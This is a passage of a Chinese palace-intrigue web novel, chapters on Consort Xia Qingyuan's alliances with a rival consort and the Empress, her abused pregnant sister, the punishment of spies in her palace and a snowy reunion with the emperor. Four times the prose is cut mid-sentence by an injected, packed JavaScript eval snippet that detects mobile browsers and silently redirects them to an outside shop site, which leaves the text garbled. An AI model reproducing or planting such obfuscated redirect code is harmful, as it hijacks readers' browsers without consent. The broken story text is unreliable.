曹家绝不会放过这个既能报私仇、又能打击政敌、或许还能向皇上递投名状的天赐良机。 待荔枝与周全领命退下，偌大的正殿内，又只剩下夏清圆一人。 方才紧绷的心神略一松弛，那股被强行压下的疲惫与不适便汹涌袭来。太阳穴处尖锐的抽痛一阵紧过一阵，心口也闷得发慌。 寂静中，昨夜种种不受控制地翻涌上来—— 心口那处，依旧酸涩胀痛，像被浸了醋汁的棉絮反复搓揉。 不能再这样了。 被动承受，任人摆布的日子，该到头了。 她起身，更衣梳妆。 “簪那支简单的玉簪便可。去凤仪宫。” 穿过御花园时，晨雾尚未散尽，呼吸间皆是冬日冷冽萧条的气息。 远远便见一道窈窕身影从皇子读书的资善堂方向缓缓行来，月白色的宫装在灰蒙蒙的晨景中格外醒目，正是兰婕妤段云柔。 她似乎清减了不少，身形愈发纤细，行走间裙裾微动，真如弱柳扶风，带着一种病后特有的、我见犹怜的韵致。 “给婉昭仪请安。得知姐姐晋封，嫔妾心中欢喜，正打算去临华宫道贺呢。” “妹妹有心了。”夏清圆虚扶一把，目光敏锐地注意到她袖口处有一小块未洗净的墨渍，“妹妹这是刚从资善堂过来？” “让姐姐见笑了。”段云柔顺着她的目光看向自己袖口，并不遮掩，反而坦然道，“宫中长日无聊，便常去资善堂旁听学士们为皇子讲学，倒也长些见识。” 她抬起眼，那双秋水般的眸子里漾开一丝真实的、近乎怅惘的神色，“嫔妾出身鄙薄，从前在王府时，见世子读书进学，只有远远羡慕的份儿。” 夏清圆正欲说些宽慰的话，却听她话音轻轻一转，语气依旧温和，内容却陡然不同： “只可惜，世子天性顽劣，于圣贤书并无真心，只知做些贿赂西席师傅之类的勾当。” 她说得轻描淡写，仿佛只是在闲聊一件无关紧要的王府旧闻。 夏清圆心头猛地一跳。 贿赂师长…… 她是在影射夏府门前那三箱来路不明的金子，以及可能存在的、针对父亲的构陷？ 段云柔仿佛未察觉她的异样，笑意未减，又自然而然地接了一句：“如今听闻姐姐令尊蒙皇上信重，担任今科会试主阅卷，真是可喜可贺。” 四目相对，夏清圆清晰地看到，在那双清澈见底的眼眸深处，极快地掠过一丝心照不宣的微光，快得像池鱼摆尾漾起的涟漪，瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908803|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间便无迹可寻，却又确实存在过。 她定了定神，压下心头的惊涛，面上笑意分毫未变，甚至还更温和了些：“本宫正要去向皇后娘娘请安。说来也巧，临华宫里昨日新得了些暹罗进贡的香茶，午后妹妹若是得空，不妨一同品评一番？” “姐姐盛情，嫔妾却之不恭。”段云柔敛衽一礼，“那嫔妾便先告退了。” 她转身离去，月白色的身影渐渐融入苍茫的晨雾与枯寂的园景中，仿佛一幅淡墨勾勒的仕女图。 寒风骤然卷过，吹得枯枝簌簌作响，也吹得夏清圆额角抽痛更甚。 她站在原地，望着段云柔消失的方向，片刻，才拢了拢肩上厚重的锦缎披风，将半张脸埋进风毛里，继续朝凤仪宫行去。 凤仪宫内暖意融融。 “嫔妾给皇后娘娘请安，娘娘万福。”夏清圆依足礼数，深深下拜。 “快起来，到本宫身边来。”皇后竟亲自从暖榻上起身，几步上前，亲手将她扶起，又执了她的手，引至榻旁铺设了软垫的椅中坐下，动作间满是亲近之意。“这样冷的天气，难为你还惦记着来请安，仔细身子。” “礼不可废。”夏清圆垂眸，姿态恭顺，再抬眼时，脸上已盈满了真挚的、几乎要溢出眼眶的感激，“嫔妾此来，更是要叩谢娘娘天大的恩典。” 她语气微微哽咽，恰到好处，“皇上昨夜……已将冯夏联姻之事告知嫔妾。夏家近来连遭风波，正是彷徨无措之时，娘娘不嫌我家门第寒微，肯在此刻伸出援手，这份雪中送炭之情，嫔妾……实在不知该如何报答。” 她说着，又要起身下拜。 皇后轻轻按住她的手，力道温和却不容拒绝，脸上是毫不作伪的欣慰与喜气：“瞧瞧，又说这些见外的话。日后便是一家人了，何分彼此，何谈报答？” 她目光慈和地看着夏清圆，“你兄长的端方品性，本宫是信得过的。这门亲事，是皇上赐下的恩典，也是咱们两家的缘分，本宫心里，是极高兴的。” “娘娘厚爱，夏家上下感念不尽。”夏清圆适时露出些许忐忑与为难，声音也低了下去，“只是……正因如此，嫔妾才更加惶恐。二小姐此番下嫁夏家，已是屈就，若再在婚礼仪程、聘礼规制上有丝毫疏忽简慢，岂非更是罪过？” 她抬眼，目光恳切地望着皇后：“嫔妾年轻不经事；家母出身寻常人家，于高门贵胄的婚嫁礼数，所知更是有限。” “嫔妾这几日思来想去，唯恐筹备不周，闹出笑话，非但辜负了皇上与娘娘的美意，更怕……怕折损了娘娘与冯家的颜面，那便是万死莫赎了。” 皇后静静听着，眸中闪过一丝戒备，温声问：“那你的意思是？” 夏清圆似是鼓足了勇气，恳切道：“嫔妾的长姐是远平侯府次子的夫人，她久在京中贵眷圈中，于这些礼仪规制、往来分寸最是熟稔通透。若能请帮忙参详操持，或可免于疏漏。故而，嫔妾冒昧，想恳求娘娘一道恩典…” “本宫当是什么难事。”皇后闻言，莞尔一笑，爽快应承，“此乃应有之义。你姐妹二人也正好借此机会团聚叙话。” “郁嬷嬷，”她转向侍立一旁的嬷嬷，“即刻去拟道懿旨，宣远平侯府二夫人明日午时入宫，至临华宫觐见。” “谢娘娘恩典！”夏清圆离座，端端正正行了一个大礼，额头轻轻触及冰冷光滑的金砖地面。 皇后含笑受礼，待她起身，又温言嘱咐了些“不必过于紧张”、“一切有本宫为你做主”的话。殿内暖香馥郁，笑语晏晏，一派和乐融融。 又叙了片刻话，夏清圆方恭谨告退。 走出凤仪宫正殿，檐下寒风扑面，激得她微微一颤。 远处天际，云层厚重，依旧是一片沉郁的铅灰色。这个冬天，似乎格外漫长。 27. 合作 午后的阳光透过冰裂纹窗棂，在临华宫正殿的青砖地上投下斑驳的影子。 夏清圆从凤仪宫回来后，便吩咐荔枝开库房。 “把那套赤金镶红宝的婴孩长命锁取出来，还有那对錾花金手镯。”她站在多宝阁前，指尖轻点，“宫里制的产后温补药包、内造止血散、还有紫荣丸，通通包好。” 荔枝依言取物，忍不住轻声问：“主子，这礼会不会太贵重了？紫荣丸可是吊命的秘药，咱们宫里也只有皇上赏的两粒。” “我不放心长姐。”夏清圆接过那套金锁，沉甸甸的坠手。锁面錾着“福寿安康”四字，边缘嵌着八颗米粒大小的红宝石，在晨光下流转着温润光泽。 她眼前浮现出夏清盈的面容——那个曾以才情美貌闻名的姐姐，鹅蛋脸，柳叶眉，一笑起来眼波流转，曾是多少少年郎的梦中人。 可去年回家省亲时，夏清圆看见才二十出头的姐姐鬓边竟已生了几丝白发。虽用螺黛仔细遮掩，但在阳光下仍无所遁形。姐姐的身形也清减了许多，昔日丰润的脸颊微微凹陷，纵使怀着身孕，也掩不住那份疲惫。 夏清盈嫁的是远平侯府次子祁云朗。 这门亲事，当初在京城轰动一时——夏家虽是官身，但夏翀只是个六品修撰，而远平侯府却是实打实的勋贵。 祁云朗虽是庶出，却颇有才名，写得一手好诗，画得一手好丹青，在京中才子圈里也算个风流人物。 可裴氏私下曾叹息：“齐大非偶，你姐姐在侯府的日子，怕是不好过。” 夏清圆明白母亲的意思。 但转念一想，日子，总归是夫妻二人关上门过。祁云朗冒着门第之见求娶姐姐，不会怠慢的。 “再加两匹云锦，要鲜亮些的，衬姐姐的脸色。”夏清圆又吩咐，“还是再添几样药材和补品。” 她将备好的礼物一一清点，心头的阴霾却未散去。 父亲门前的三箱金子究竟是谁送的？段云柔今早那意味深长的暗示，像一根刺扎在心里。 午后，兰婕妤段云柔如约而至。 临华宫小茶室内，银丝炭燃得正好，驱散了窗外的寒意。 段云柔踏进殿门时，已换了身藕荷色绣折枝梅的宫装，外罩银狐比甲，发间只簪了支素银梅花簪，整个人清雅得如同雪后初霁的梅。 “给婉昭仪请安。”她敛衽行礼，姿态恭谨却不卑微。 “不必多礼。”夏清圆执壶，沸水冲入素白瓷盏，嫩绿的茶芽在澄澈汤水中舒展沉浮，异域特有的清雅香气随之弥散：“这茶新鲜，妹妹尝尝。” “暹罗香茶，果然名不虚传，清而不寡，香而不腻。”段云柔浅啜一口，眉眼弯弯。 闲话几句茶汤冷暖、宫中时新花样后，段云柔捧着温热的茶盏，目光似不经意地掠过夏清圆沉静的侧脸，忽然轻声开口：“姐姐可知，府上前些日子门口那三箱金子，究竟从何而来？” 夏清圆执壶的手一顿，抬眸，看向段云柔。 “妹妹知道什么？” 段云柔却垂着眼，长长的睫毛在瓷白肌肤上投下小片阴影，自顾自说了下去：“妹妹不才，但如今在太后面前，还算能听得一两句真话。” “我知道那金子是谁送的，也知道……是谁欲借此事，构陷夏大人。”她顿了顿，声音压得更低，确保只有近在咫尺的两人能听清，“姐姐若想知道，妹妹愿坦诚相告。” “妹妹若愿说，我自然想听。”夏清圆按耐着心里的急切，表面上云淡风轻。 段云柔却不答了。她抬起眼，那双秋水眸子里漾开一丝极其复杂的情绪，有自嘲，有无奈，更有一片深不见底的凉薄。 “嫔妾今日前来，并非是为了售卖消息。而是想与姐姐说几句心里话。” 她放下茶盏，声音轻柔却清晰：“我向来运气不好，才入宫身子便毁了，在这后宫里本就是个多余的人。如今还能苟延残喘，不过是太后觉得，嫔妾这张脸还有些用处。” 夏清圆静静听着，没有打断。 “嫔妾所求不多。”段云柔看向她，眸光清澈，“圣宠太高不可攀，不是嫔妾这样的人能奢望的。我只求富贵荣华，求在宫里有尊严地活着，能有自由之身。还有嫔妾的生母梅姨娘，她在康王府的平安，皆系于嫔妾一身……姐姐想必明白。” 她顿了顿，语气更轻：“所以嫔妾不想与任何人为敌，尤其是姐姐。皇上如今重用夏家，姐姐风头正盛，嫔妾无意自讨没趣？” 这话说得坦诚，却也藏着锋芒——她不是怕，只是不想在羽翼未丰时树敌。 夏清圆莞尔：“妹妹这话，倒让我想起一个人。” “谁？” “你的长姐，先段婕妤。”夏清圆缓缓道，“她到底...为何会突然发疯，冲撞贤妃？” 段云柔脸上的笑意淡了。 殿内一时寂静，只闻炭火偶尔的噼啪声。 良久，段云柔才开口，声音低得几乎听不见：“康王府的女子……从来身不由己。长姐她……太后用着不顺手……” 她没说完，但意思已经明了。 “所以她就必须死？”夏清圆问。 段云柔抬眼，眸中闪过一丝复杂的情绪：“死的不止她一个。她的生母，在蜀地……也没了。” 夏清圆心头一寒。 “姐姐现在明白了吗？”段云柔的声音很轻，却字字锥心，“在这宫里，不听话的棋子，只有被舍弃的下场。还会连累……最亲的人。” 她看着夏清圆，那双秋水般的眸子里，第一次流露出真实的、近乎哀戚的神色：“嫔妾没有退路。所以嫔妾必须弄清楚——姐姐是敌，是友？” 夏清圆沉默片刻。 她知道段云柔的话半真半假。示弱是真，想求安稳是真，但那份“不想为敌”的表态，底下藏着多少算计，谁又知道？ 可眼下，她最重要的是让夏家安安稳稳地在京城活下去。 “若我说，眼下，我不愿与妹妹为敌呢？”夏清圆缓缓道。 段云柔笑了，却摇摇头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908804|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这样的空口白话，姐姐让嫔妾如何相信？” “那妹妹想从我这里得到什么？”夏清圆直视她，难得流露出锐气，“总不会只是来喝茶聊天的。” 段云柔倾身向前，声音压得更低，像是循循善诱：“嫔妾只想知道，姐姐现在……在做什么？” 四目相对，殿内的空气仿佛凝滞了。 夏清圆脑中飞快权衡—— 段云柔是太后的人，但显然与太后并非一心。 眼下，她需要把全部精力都放在毁掉“冯夏联姻”上，要借段云柔稳住太后，不能腹背受敌。 “我在查一件事。”夏清圆终于开口，声音平静，“贤妃丧女，恐怕不是意外。” 段云柔放下茶盏，瓷器与紫檀桌面相触，发出清脆一响。 夏清圆顿了顿，选择保留最关键的证据，只说：“此事背后，有人推波助澜。” 她没有提及季太医，没说冯国公府，只抛出一个模糊却足够惊人的指向。 但是足够了。 段云柔何等聪明，一点即通。 “果然，没一个干净的。”她沉吟片刻，喃喃道。随即唇角勾起一抹意味深长的笑，“夏家与冯国公府的联姻，姐姐不必苦恼......我会助姐姐心想事成的。” 夏清圆猛地抬头看向她。 冯夏联姻之事，皇上昨夜才告知她，段云柔如何得知？ 除非……临华宫有内鬼。 段云柔看着她骤然变色的脸，笑意更深。她凑近些，温热的气息拂过夏清圆耳畔，声音轻得像羽毛： “姐姐这临华宫里，热闹得很呢。” 她红唇轻启，吐出两个极轻的名字，又补充道，“太后的眼线可不止这些。这两个，算是妹妹给姐姐的……一份小小的诚意，愿我们今后，能如姐姐所说，‘不为敌’。” 那两个名字像冰针，猝然刺入夏清圆耳中。 她背脊瞬间绷直，一股寒意从脚底直窜头顶。 “妹妹为何帮我？” “嫔妾说了，只求荣华，求安稳。冯夏联姻若成，姐姐与皇后绑在一处，势力大涨，对嫔妾有什么好处？” 话落，她已施施然起身，恢复了那副柔弱无害的模样，仿佛方才那段惊心动魄的对话从未发生。“茶甚好，谢姐姐款待。妹妹宫中还有些琐事，便不叨扰了。” 走到门边，却又回头，“那三箱金子的事……姐姐若真想知道，不妨查查…京城最近，悄悄来了哪些贵客。” 她盈盈一礼，扶着宫女的手，款步离去。那纤弱却挺拔的身影，消失在门外廊下渐浓的暮色中。 茶室内，暹罗香茶的余温犹在，清雅的香气萦绕不散。 夏清圆独自坐在原地，指尖冰冷，缓缓端起那杯已凉的茶，一饮而尽。 苦涩的余味在舌尖蔓延开来。 原来，她自以为隐秘的周旋与谋算，从头到尾，都暴露在无数双眼睛之下。 殿外天色渐暗，铅灰色的云层低垂，似乎又要下雪了。 28. 借力 次晨天未亮透，夏清圆便起身张罗。 小厨房灶火彻夜未熄，此刻正飘出药膳的浓郁香气。她立在庑廊下亲自盯着宫人将各色补品分装，存心要给姐姐好生补养身子——季太医的案子暂且搁置，临华宫的眼线也不及处置，万事都要为今日这场姐妹相见让路。 午时刚过，她便早早等在宫门夹道处。 远远地，瞧见两名宫人引着两人徐步而来。除却姐姐夏清盈，竟还有一位身着诰命礼服、气度雍容的中年贵妇。 “主子，”荔枝在旁低语，“那位是冯国公夫人，皇后娘娘的生母。” 话音未落，人已至跟前。 冯国公夫人的面庞与皇后有七分肖似，眉眼间却沉淀着股看破外物的疏淡。 她目光在夏清圆身上短暂停留，带着不经意的审视，随即敛衽行礼：“臣妇给婉昭仪娘娘请安。” “夫人不必多礼。”夏清圆略屈膝还礼，姿态从容。 夏清盈站在后半步，腹部已高高隆起，衬得身形越发单薄。她望着妹妹，眼中漾开真切的笑意，规规矩矩行礼：“民妇给婉昭仪娘娘请安。” “昭仪娘娘姐妹俩生得真像，都是一等一的好模样。”冯国公夫人寒暄两句，便由宫人引着往凤仪宫方向去了。 待那身影转过宫墙，夏清盈忽然伸手，轻轻握住夏清圆的手腕。 “别动，让我瞧瞧你。” 她就这般站在穿堂风口里，拉着妹妹上上下下地细看。目光从夏清圆梳得一丝不苟的发髻，落到她身上那件象征昭仪位份的蹙金宫装，最后停在她那双已褪去少女懵懂、沉淀着稳重的眼睛。 良久，夏清盈轻叹一声，声音里透着难以言说的惋惜：“像个大人了。” 只这一句，夏清圆的泪便毫无征兆地滚了下来。 她这才看清，姐姐虽穿着华贵的命妇礼服，那衣料下的身骨却薄得惊人，几乎担不住这身锦绣。身孕却未给她增添丰腴，反而衬得那人更苍白憔悴。 “快进去，风口里站着做什么。”夏清圆慌忙拭泪，挽住姐姐的手臂往暖阁引，指尖触到她衣袖下单薄的臂骨，心头又是一酸，“姐，谁欺负你了？” “你这丫头。”夏清盈微微一怔，随即失笑，指尖轻轻点了下她额头。 那神情活泼了些，带了几分久违的打趣：“我可是婉昭仪的亲姐姐，谁敢欺负我？” 荔枝端上点心和热茶，轻声细语：“这是主子特地为大小姐备的果茶，生津开胃，最宜孕中饮用。” “连荔枝也稳重了。”夏清盈端详着眼前恭敬有度的宫女，温声赞道。 她伸手去端茶盏，广袖滑落，露出一截伶仃手腕——上头赫然交错着数道红痕，有粗有细，有的已褪成暗灰旧疤，有的却刚结痂，触目惊心。 “哎呀！”荔枝眼尖，低呼出声，“大小姐这是怎么了？” 夏清圆猛地握住姐姐手腕，指尖因用力而微微发白。她掀开衣袖，那些新旧伤痕便毫无遮掩地暴露在光线下。一股冰冷的怒意从心底窜起，她脸色骤沉：“该死的！谁敢对姐姐动手？” “没有的事。”夏清盈面上掠过一丝慌乱，急急扯下衣袖遮掩，语气故作轻松，“是我自己不小心……” “自己如何能伤成这样？”夏清圆打断她，眼圈已气得通红，“是谁？祁云朗吗？” 连“姐夫”也不唤了，那架势像是立时便要寻人兴师问罪。 见夏清盈抿唇不语，她转头瞪向侍立一旁的婢女：“樱桃，你说！” “二小姐……不，婉昭仪……”樱桃吓得面色发白，嘴唇哆嗦，“奴婢……奴婢……” “你不说，我便将你发落到庄子上卖了！”夏清圆声音不高，却字字透着狠劲。 “你为难她做什么。”夏清盈叹了口气，握住妹妹的手，力道轻柔却坚定，“不过与你姐夫有些口角争执，他失手误伤罢了。” “混帐东西！”夏清圆一掌拍在紫檀案几上，震得茶盏哐当作响，半盏茶水泼溅出来，“他才几年光景，便忘了当年娶姐姐时是怎样赌咒发誓的？” 她记得分明——那年祁云朗三顾夏府，面对父母犹疑，他当众立下誓言，一字一句情真意切，才终于求得这门亲事。 “瞧瞧二小姐这脾气，比在家时还冲。”夏清盈转头对樱桃强笑道，试图缓和气氛。 她又拉着妹妹坐下，细细解释：“公爹今年入秋后便一病不起，太医上月诊过，说……怕是熬不过这个年关。” “若真有那一日，侯府势必要分家。爵位由世子承袭，我与云朗……便得自立门户了。” “云朗是庶出，长房又向来强势，分家时怕是拿不到多少产业。”夏清盈声音低了下去，带着疲惫，“他这些日子为前程奔走，难免心焦气躁，偶有口角……一时失手。他已道过歉了。” “可姐姐你还怀着身子……”夏清圆如何能依。 “好啦。”夏清盈不愿她多忧，拈起一块玫瑰酥塞进她嘴里，堵住未尽的话。 “樱桃你记着，”夏清圆转向那瑟瑟发抖的婢女，一字一顿，“下回姐姐再受委屈，你立时回家禀告二少爷，让他来回我。” “瞧瞧，”夏清盈摇头轻笑，“外头传言不虚，我妹妹当真有了宠妃的气派。” 她顿了顿，神色渐凝：“家里这半年出的风波，外头传得沸沸扬扬。我问过母亲几次，她总怕我忧心，不肯细说。可我晓得，只一个远平侯府已这般难相与，你在宫里……只怕比我艰难千倍万倍。” “我与各家女眷应酬时，也听过些风声……万幸，皇上待你好。” 提及萧翊，夏清圆心口那上不去下不来的郁结又醒过来。她勉强弯起唇角，言不由衷道：“我有皇上维护，姐姐不必挂心。” 恰在此时，周全悄步入内禀报：“主子，午膳备妥了。” 席面摆开，皆是易克化的温补菜肴。夏清圆亲自布菜，将炖得酥烂的鸡肉、煨得入味的菌菇一一夹到姐姐碗中。 “别只顾着我，你也吃些。”夏清盈夹了片清蒸鱼腩放到妹妹碟里。 夏清圆看着那莹白鱼肉，却毫无食欲。 连着几日都是如此，她只当是事忙上火。怕姐姐担忧，勉强用了两口，便搁下筷子。 夏清盈也搁下汤匙，抬眼望来：“你今日特地让我入宫，总不会只为吃这顿饭吧？” 夏清圆本见她形容憔悴，已不忍再提正事，徒增烦忧。可听过她与祁云朗眼下的困境，思虑再三，终究开了口。 她挥手屏退左右，只留荔枝在门外守着。暖阁内只剩姐妹二人，炭火哔剥，衬得四下愈发寂静。 “姐姐，”夏清圆声音压得极低，字字清晰，“姐夫他……可曾想过，要争一争那爵位？” 夏清盈手中汤匙“叮”一声轻响，险些脱手。她慌忙稳住，脸色微微发白：“这样的事……我连想都不敢想。” “姐姐没想过，那他呢？”夏清圆直视姐姐的眼睛。她太了解祁云朗——恃才傲物、心比天高。 更何况，远平侯世子无论才学、人望，皆远逊于他。 “云朗……”夏清盈想起侯府连日风波，想起丈夫酒醉后的怨愤之言，声音艰涩，“大约……是有不甘的。” “若本宫愿倾力相助，”夏清圆倾身向前，指尖轻抚姐姐隆起的腹部，语气轻缓却带着蛊惑，“姐姐与姐夫，可愿争上一争？” 她顿了顿，继续道：“若争成了，姐姐便不必为日后生计发愁。这孩子——无论男女，生来便是侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待萧昀雀跃着跑出殿门，冯国公夫人才敛了笑意，压低声音：“你父亲听说你要将冯瑚许给夏家，发了好大的火。” “他说什么？”皇后冷哼一声，对她那位宠妾灭妻的父亲毫无敬意，“骂本宫不求上进？小肚鸡肠？” “冯瑚和她那个娘，一哭二闹三上吊，吵得我头疼。”冯国公夫人摇头叹息，满面无奈，“你也真是的，何苦在她婚事上找不痛快？不过是一份嫁妆，顺顺当当打发出去便是。” “若不是她顶着国公府二小姐的名头还有些用处，母亲以为我愿意理会她？”皇后唇角勾起讥诮的弧度，“满京城宗亲世贵，谁肯娶一个外室所出的庶女？” 她倾身向前，声音沉了下去：“冯国公的爵位再传一代便要降等。待昀儿长成，若无母族势力支撑，如何在前朝立足？皇上明摆着要重用夏家，至少这三五年内，本宫大可借着姻亲纽带，让昀儿慢慢吸纳皇上给夏家的资源。” 顿了顿，她眼底掠过寒光：“何况父亲这些年做的那些买官鬻爵的勾当还少么？皇上如今盯着官场整肃，难保哪日不被翻出来清算。总得未雨绸缪。” “就算冯瑚是个不中用的，”皇后指尖轻叩案沿，“本宫也能借着这份姻亲，拿捏住临华宫那位。” “唉……”冯国公夫人素来外强中干，否则也不会被外室欺压多年。她只是叹息：“争来斗去，何时是个头。” “母亲回去，将我这番话原原本本告诉父亲。”皇后语气斩钉截铁，“本宫不信他糊涂到连家族前程都不顾的地步。” 她抬眼，一锤定音：“便是绑，也要给本宫把冯瑚绑上花轿。” 29. 雪夜 腊月二十七，冯夏联姻的旨意正式颁下，婚期定在来年开春。 夏家欢天喜地接了旨，而冯家那头，却只有冯国公夫人一人出面领旨。 事后，有好打听的人传出风声，说那位二小姐听闻婚讯，竟闹了场悬梁自尽的戏码，躲去别院不肯露面。 消息辗转递到临华宫时，夏清圆只漠然牵了牵嘴角。 若拒婚当真这般容易，她也不必在深宫之中绞尽脑汁了。 垂眸，目光落在殿外跪着的两个奴才身上——小厨房太监喜顺、寝殿洒扫宫女春蕾。 自段云柔递来名字，她便让锦娘暗中盯了几日，终是寻了由头，将二人明正典刑地拘在此处。 喜顺用的还是老法子，悄悄在她的饮食里掺避子药物；春蕾则借着洒扫之便，偷翻她与家中的书信，探听消息。 她心下并无多少怒气，反倒生出一丝近乎轻蔑的了然——不过如此。 以小禄子之案观之，她原以为太后的手段会更狠辣些。 静坐思忖片刻，她大约明白了：皇上先前对她的那份恩宠，到底让太后存了三分顾忌。 毕竟，太后若真贸然弄死了她，谁知那位最擅借题发挥的帝王，会掀起多大的风浪？ 她未申斥，也未动刑，只令二人在冰天雪地的庭院中，众目睽睽之下长跪。 约莫一炷香后，内侍省管事黄严匆匆赶来，脸上堆着小心翼翼的笑：“奴才给婉昭仪请安。不知……这两个不长眼的，如何冲撞了娘娘？” “黄严，”夏清圆面色平静无波，“喜顺与春蕾，可是你内侍省拨到临华宫的人？” “回娘娘……”黄严喉结滚动，硬着头皮应道，“确是内侍省送来伺候娘娘的。” “那你也跪下。”声音不高，却字字如冰。 “这……”黄严脸上的笑容僵住，膝盖微曲，似跪非跪，内侍省管事的体面让他一时难以屈就。 “怎么？”夏清圆抬眸，目光清凌凌地扫过去，“本宫罚不得你？” “奴才该死！”黄严膝弯一软，“噗通”一声，直挺挺跪在了喜顺身前。 又熬过一炷香，黄严腹中草稿已打好，正欲开口辩解—— “奴才给婉昭仪请安。”吴全顺的嗓音适时响起。 婉昭仪让周全去寻他时，他确有一瞬疑惑：处置两个犯错宫人，找黄严便是，何须劳动他这位大内总管？ 但既然来找了，顺势卖个人情也无妨。 路上听了周全几句低语，此刻再瞧见同样跪在雪地里的黄严，吴全顺心下顿时雪亮—— 这两个奴才怕是大有来头，婉昭仪这是要借机立威。 他向夏清圆行过礼，转身便道：“喜顺、春蕾，杖毙。” 黄严闻言，脸上血色尽褪，惊疑不定地望向周全。周全得了夏清圆默许，附耳过去，低声说了几句。 刹那间，黄严在冰天雪地里竟急出一头冷汗，连连叩首：“娘娘明鉴！奴才就是有一万个胆子，也绝不敢指使这起子贱奴行此大逆之事！奴才……奴才实不知情啊！” “黄严，”吴全顺适时开口，“你身为内侍省管事，失察在先，管教宫人不力在后。罚俸半年，杖二十。” 他亲自盯着行刑完毕，方堆起笑容：“奴才差事已了，告退。” “慢着，”夏清圆起身，从荔枝捧着的描金托盘里抓了一把金叶子，“劳烦公公带句话给皇上——就说，臣妾酿的梅花酒，好了。” 萧翊已有十日未踏足临华宫。若再不借借他的势，怕真要让旁人以为她失了圣心。 虽然，从某种意味上说，她近来确有些“失宠”。 吴全顺看着掌中金灿灿的物什，略一迟疑，分神想起另一桩事—— 今早他从冯、夏两府宣旨回来复命时，皇上曾状似无意地问了句：“婉昭仪……知道了？” 思及此，他心下稍定，坦然收下，又压低声音提点道：“皇上近日政务缠身，饮食时常不准时，娘娘若能备些暖胃的汤食……” “吴公公有心了。”夏清圆颔首赞道。 酉时末，萧翊的步辇刚拐进临华宫前的巷子，远远便瞧见一幅“雪夜提灯”的景致—— 宫灯晕开一团昏黄暖光，夏清圆裹着厚厚的雪狐斗篷，连帽兜边缘都镶着一圈风毛，整个人被裹成毛茸茸的一团。 她似乎等得有些焦躁，在原地轻轻踩着碎步，琉璃灯盏随之晃动，照见她绣鞋尖上已沾满晶莹的雪沫。 萧翊脚步不自觉地加快。 行至近前，见她握灯柄的手指冻得通红，他拧眉低斥：“胡闹。”一把将她冰凉的手攥入掌心暖着。 走了两步，瞥见她绣鞋已被雪水浸透，索性俯身将人打横抱起。 “苦肉计，还是美人计？”他垂眸，嗓音里听不出情绪。 夏清圆瘪了瘪嘴，鼻尖与眼眶俱是冻出的嫣红，手臂却乖顺地环上他脖颈，将脸埋在他肩窝，声音闷闷的：“都有……” 吴全顺与周全交换一个眼神，袖中又悄然滑入几枚金叶子。窃喜，他这揣摩圣心的功夫，倒是愈发精进了。 萧翊抱着她步入内室，解开那件厚重的斗篷—— 青丝如瀑散落，未簪一饰，身上只着一件单薄的绯色绫纱小衣，在暖融融的烛光下，透出肌肤细腻的暖白。 他依稀记得，上次床笫之间，也是这般美景。他曾随口吟过一句：“香汗浸绯绡，灯深看愈姣。” 此刻此景，却让他有些不解风情地想笑。 余光瞥见床角那几本翻得边角卷起的话本子，想来她这几日除了见长姐，心思多半用在了这上头。 “不学好。”他屈指，轻轻刮了下她微凉的鼻尖。 其实那日看过她送出的家书，他心头那点不快便已消散，反倒有些心软—— 话或许说得太重，态度过于冷硬，更不该挥袖便走。 她初入宫闱，定然吓坏了，才会急急修书回家。 她才入宫多久？他不该因带她见了些世面，便奢望她顷刻间通晓朝堂权术，更不该以前朝那些老泥鳅的揣摩圣意的标准来要求她。 她担忧兄长受委屈，不愿高攀，本就是人之常情。 自我开解后，他确实等了两日，隐隐期待她能像其他妃嫔那般，送些汤水绣帕，递个“台阶”。 可等来的，却是她召见长姐、忙得不见人影的消息。 前朝政务如麻，他数日未入后宫，那点难得的柔软心绪也就淡了。 直至今日下午，她让周全去寻吴全顺——他觉得，她是在递台阶，便顺势来了。 “冷。”她又往他怀里缩了缩。 “朕饿了。”萧翊开口，带着几分煞风景的实诚。 可一踏入临华宫，连日来因朝政而麻木的七情六欲，仿佛瞬间复苏。 夏清圆抬眸看他，目光在他脸上逡巡片刻，似在分辨他是否还在托辞。辨明之后，她欲起身更衣，却被他一把拉住—— “别换。”萧翊随手用那件斗篷将她裹紧，俯身在她耳畔，气息温热，续上那未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912949|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽的诗：“丰腴宜新荔，皓质透薄纱。” 